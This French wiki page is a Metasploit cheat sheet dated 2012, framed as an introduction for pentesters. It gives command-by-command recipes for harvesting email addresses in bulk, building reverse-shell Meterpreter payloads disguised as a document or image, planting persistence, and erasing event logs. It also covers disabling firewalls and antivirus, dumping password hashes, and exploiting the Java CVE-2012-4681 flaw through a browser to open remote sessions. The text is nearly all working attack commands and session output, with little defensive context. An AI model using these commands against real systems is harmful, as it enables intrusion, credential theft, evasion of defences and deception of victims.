Metasploit

De UnixWiki
Révision datée du 23 septembre 2012 à 15:14 par Futex (discussion | contributions) (Exploitation de la faille Java 7 u6 avec Metasploit)
(diff) ← Version précédente | Voir la version actuelle (diff) | Version suivante → (diff)
Aller à : navigation, rechercher

Collecte de mails en masse

 msf >search collector
msf > use gather/search_email_collector msf auxiliary(search_email_collector) > show options
Module options (auxiliary/gather/search_email_collector):
Name Current Setting Required Description ---- --------------- -------- ----------- DOMAIN yes The domain name to locate email addresses for OUTFILE no A filename to store the generated email list SEARCH_BING true yes Enable Bing as a backend search engine SEARCH_GOOGLE true yes Enable Google as a backend search engine SEARCH_YAHOO true yes Enable Yahoo! as a backend search engine
msf auxiliary(search_email_collector) > set DOMAIN gmail.com DOMAIN => gmail.com msf auxiliary(search_email_collector) > set OUTFILE /root/domain.gmail OUTFILE => /root/domain.gmail msf auxiliary(search_email_collector) > set SEARCH_BING false SEARCH_BING => false msf auxiliary(search_email_collector) > set SEARCH_YAHOO false SEARCH_YAHOO => false msf auxiliary(search_email_collector) > run

Scan Samba

 msf >use auxiliary/scanner/smb/smb_version
 msf >set RHOST=192.168.1.1/24
 msf >set THREADS 75
 msf >run

Autoexecuter l'exploit au boot

  msf >run persistence -A -X -p 10000 -r 192.168.56.1

Effacer ces traces

 msf > clearev

Malware reverse TCP

 msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 Desktop > test.jpg

ou

 msf >use payload/windows/meterpreter/reverse_tcp
 msf >set LHOST 192.168.1.1/24
 msf >set LPORT 4444
 msf >set EXITFUNC process

Générer le malware:

 msf >generate -t exe -f /tmp/backdoor.exe

ou

 ./msfvenom -x /tmp/wordpad.exe -k -p windows/meterpreter/reverse_tcp -f exe LHOST=192.168.120.65 LPORT=8080 > /tmp/Document.doc.exe
 -x binaire template
 -k permet de laisser le template fonctionnel
 -p le payload a exec
 -f le format de sortie
 LHOST LPORT variable

Lancer le handler

 msf >exploit -j

ou

 #On lance msfconsole
 msf  use exploit/multi/handler 
 msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
 msf  exploit(handler) > set LHOST 192.168.120.65
 msf  exploit(handler) > set LPORT 8080
 msf  exploit(handler) > exploit
 [*] Started reverse handler on 192.168.120.65:8080 
 [*] Starting the payload handler...
 [*] Sending stage (752128 bytes) to 192.168.120.63
 [*] Meterpreter session 3 opened (192.168.120.65:8080 -> 192.168.120.63:1475) at Wed Apr 18 10:55:24 +0200 2012

Tips Post-exploitation

Killer le firewall

 meterpreter > run getcountermeasure -d

Killer les antivirus

 meterpreter > run killav

Bypasser les antivirus

 meterpreter > run virusscan_bypass -h

Masquer le payload

 meterpreter > migrate $PID (PID du process sous lequel on veut se masquer, généralement svhost. Faire un ps pour les voir avant :))

Prendre une capture d'écran

 meterpreter >run screenspy -h

Activer TSE (remote desktop) chez la victime

 meterpreter > run getgui -e

Activer telnet sur la victime

 meterpreter > gettelnet -h

Vérifier si on est sur une VM

 meterpreter > run checkvm

Voler les mots de passes

 meterpreter > run hashdump

Exploitation de la faille Java 7 u6 avec Metasploit

Fin Aout un 0day touchant Java a été publié CVE-2012-4681. Dans la foulée un exploit a été publier dans Metasploit. Cette faille permet à une personne malveillante de prendre le contrôle à distance d'une machine.

Nous allons voir comment cet exploit fonctionne et cela servira par la même occasion d'introduction à Metasploit.

Metasploit est un super outil que tout pentesteur se doit de connaître. Il s'agit d'un framework open-source fournissant des outils au développement d'exploits (logiciels permettant d'exploiter une faille de sécurité) et facilitant aussi l'exécution de ce code. Il est disponible sous Linux et Windows à cette adresse: Metasploit

L'attaque en détails

On lance Metasploit:

 # msfconsole

Metasploit 1.jpg

On arrive à un prompt, pour rechercher notre exploit:

 msf > search jre17

Metasploit 2.jpg

Pour le sélectionner:

 msf > use exploit/multi/browser/java_jre17_exec

Metasploit 3.jpg

Afficher les options de l'exploit:

 msf > show options

Metasploit 4.jpg

Il faut qu'on choisisse notre payload

 msf > exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp

Metasploit 5.jpg

Afficher les options du payload:

 msf > exploit(java_jre17_exec) > show options

Metasploit 6.jpg

On doit setter l'adresse de notre serveur pirate.

 msf > exploit(java_jre17_exec) > set lhost 192.168.1.145

Metasploit 7.jpg

On est déjà prêt, on peut lancer notre exploit, comme quoi c'est tout simple!

 msf >  exploit(java_jre17_exec) > exploit 

Metasploit 8.jpg

On a plus qu'à attendre une connexion sur l'URL http://192.168.1.145:8080/62rkJsBLCzb
Metasploit 9.jpg

Et une session s'ouvre dans notre Metasploit:
Metasploit 10.jpg

Lister les sessions actives avec la commande

 msf > sessions -l

Pour se connecter à une session

 msf > sessions -i 1

Metasploit 11.jpg


L'attaque sans se prendre la tête

 # msfconsole
 msf > use exploit/multi/browser/java_jre17_exec
 msf  exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
 msf  exploit(java_jre17_exec) > set lhost 192.168.1.145
 msf  exploit(java_jre17_exec) > exploit
 --- On attends une connexion ---
 msf  exploit(java_jre17_exec) > sessions -i 1